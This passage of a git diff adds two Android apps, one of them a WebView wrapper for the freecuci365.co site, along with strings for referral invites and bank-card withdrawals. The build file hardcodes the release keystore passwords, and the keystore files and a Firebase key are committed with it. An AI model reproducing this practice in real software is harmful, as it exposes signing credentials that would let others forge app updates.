b/flashau/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/flashau/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/flashau/src/main/res/drawable-mdpi/ic_action_back.png b/flashau/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/flashau/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/flashau/src/main/res/drawable-v24/ic_launcher_foreground.xml b/flashau/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/flashau/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/flashau/src/main/res/drawable-xhdpi/ic_action_back.png b/flashau/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/flashau/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/flashau/src/main/res/drawable-xxhdpi/ic_action_back.png b/flashau/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/flashau/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/flashau/src/main/res/drawable/big_bg.xml b/flashau/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c6f3d8f --- /dev/null +++ b/flashau/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/flashau/src/main/res/drawable/ic_launcher_background.xml b/flashau/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/flashau/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/flashau/src/main/res/drawable/input_bg.xml b/flashau/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/flashau/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/flashau/src/main/res/drawable/pass_word_bg.xml b/flashau/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/flashau/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/flashau/src/main/res/drawable/pass_word_bg1.xml b/flashau/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/flashau/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/flashau/src/main/res/drawable/pass_word_bg2.xml b/flashau/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/flashau/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/flashau/src/main/res/drawable/shape_btn_bg.xml b/flashau/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/flashau/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/flashau/src/main/res/drawable/shape_dialog_bg2.xml b/flashau/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/flashau/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/flashau/src/main/res/drawable/shape_dialog_bg3.xml b/flashau/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/flashau/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/flashau/src/main/res/drawable/shape_dialog_bg_new.xml b/flashau/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/flashau/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/flashau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/flashau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/flashau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/flashau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/flashau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/flashau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/flashau/src/main/res/mipmap-hdpi/ic_empty.png b/flashau/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/flashau/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/flashau/src/main/res/mipmap-hdpi/ic_pull_down.png b/flashau/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/flashau/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/flashau/src/main/res/mipmap-xhdpi/ic_close.png b/flashau/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/flashau/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/flashau/src/main/res/mipmap-xhdpi/ic_menu.png b/flashau/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/flashau/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/flashau/src/main/res/mipmap-xxhdpi/app_logo.webp b/flashau/src/main/res/mipmap-xxhdpi/app_logo.webp new file mode 100644 index 0000000..40340f0 Binary files /dev/null and b/flashau/src/main/res/mipmap-xxhdpi/app_logo.webp differ diff --git a/flashau/src/main/res/values-en/strings.xml b/flashau/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/flashau/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/flashau/src/main/res/values-night/themes.xml b/flashau/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/flashau/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/flashau/src/main/res/values/colors.xml b/flashau/src/main/res/values/colors.xml new file mode 100644 index 0000000..9e9787a --- /dev/null +++ b/flashau/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #3779a2 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/flashau/src/main/res/values/strings.xml b/flashau/src/main/res/values/strings.xml new file mode 100644 index 0000000..e4e189e --- /dev/null +++ b/flashau/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + FlashAU + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/flashau/src/main/res/values/themes.xml b/flashau/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/flashau/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/flashau/src/main/res/xml/app_updater_paths.xml b/flashau/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/flashau/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/flashau/src/main/res/xml/network_security_config.xml b/flashau/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/flashau/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/flashau/src/main/res/xml/provider_paths.xml b/flashau/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/flashau/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/flashau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/flashau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/flashau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/freecuci365/.gitignore b/freecuci365/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/freecuci365/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/freecuci365/build.gradle b/freecuci365/build.gradle new file mode 100644 index 0000000..21fffee --- /dev/null +++ b/freecuci365/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.freecuci365" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "freecuci365" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/freecuci365/dskjweb.jks b/freecuci365/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/freecuci365/dskjweb.jks differ diff --git a/freecuci365/google-services.json b/freecuci365/google-services.json new file mode 100644 index 0000000..1d5afdd --- /dev/null +++ b/freecuci365/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "234876231440", + "project_id": "freecuci365-b032f", + "storage_bucket": "freecuci365-b032f.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:234876231440:android:2400acfb7ef47560b04f95", + "android_client_info": { + "package_name": "com.web.freecuci365" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDevcXTZI31x7eGOm4ZrFgklt-CWy14fPM" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/freecuci365/ppn.jks b/freecuci365/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/freecuci365/ppn.jks differ diff --git a/freecuci365/proguard-rules.pro b/freecuci365/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/freecuci365/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/freecuci365/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/freecuci365/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/freecuci365/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/freecuci365/src/main/AndroidManifest.xml b/freecuci365/src/main/AndroidManifest.xml new file mode 100644 index 0000000..1c842a3 --- /dev/null +++ b/freecuci365/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/java/com/web/freecuci365/MainActivity.java b/freecuci365/src/main/java/com/web/freecuci365/MainActivity.java new file mode 100644 index 0000000..731429b --- /dev/null +++ b/freecuci365/src/main/java/com/web/freecuci365/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.freecuci365; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 183; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://freecuci365.co/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#033ae5"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#0d0d0d"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/freecuci365/src/main/java/com/web/freecuci365/MyFirebaseMessageingService.java b/freecuci365/src/main/java/com/web/freecuci365/MyFirebaseMessageingService.java new file mode 100644 index 0000000..a8acd29 --- /dev/null +++ b/freecuci365/src/main/java/com/web/freecuci365/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.freecuci365; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/freecuci365/src/main/java/com/web/freecuci365/WebApplication.java b/freecuci365/src/main/java/com/web/freecuci365/WebApplication.java new file mode 100644 index 0000000..6bbac23 --- /dev/null +++ b/freecuci365/src/main/java/com/web/freecuci365/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.freecuci365; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/freecuci365/src/main/res/drawable-anydpi/ic_action_back.xml b/freecuci365/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/freecuci365/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/freecuci365/src/main/res/drawable-hdpi/ic_action_back.png b/freecuci365/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/freecuci365/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/freecuci365/src/main/res/drawable-mdpi/ic_action_back.png b/freecuci365/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/freecuci365/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/freecuci365/src/main/res/drawable-v24/ic_launcher_foreground.xml b/freecuci365/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/freecuci365/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/drawable-xhdpi/ic_action_back.png b/freecuci365/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/freecuci365/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/freecuci365/src/main/res/drawable-xxhdpi/ic_action_back.png b/freecuci365/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/freecuci365/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/freecuci365/src/main/res/drawable/big_bg.xml b/freecuci365/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..b1e5c5f --- /dev/null +++ b/freecuci365/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/drawable/ic_launcher_background.xml b/freecuci365/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/freecuci365/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/freecuci365/src/main/res/drawable/input_bg.xml b/freecuci365/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/freecuci365/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/freecuci365/src/main/res/drawable/pass_word_bg.xml b/freecuci365/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/freecuci365/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/freecuci365/src/main/res/drawable/pass_word_bg1.xml b/freecuci365/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/freecuci365/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/drawable/pass_word_bg2.xml b/freecuci365/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/freecuci365/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/drawable/shape_btn_bg.xml b/freecuci365/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/freecuci365/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/drawable/shape_dialog_bg2.xml b/freecuci365/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/freecuci365/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/drawable/shape_dialog_bg3.xml b/freecuci365/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/freecuci365/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/drawable/shape_dialog_bg_new.xml b/freecuci365/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/freecuci365/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/freecuci365/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/freecuci365/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/freecuci365/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/freecuci365/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/mipmap-hdpi/ic_empty.png b/freecuci365/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and 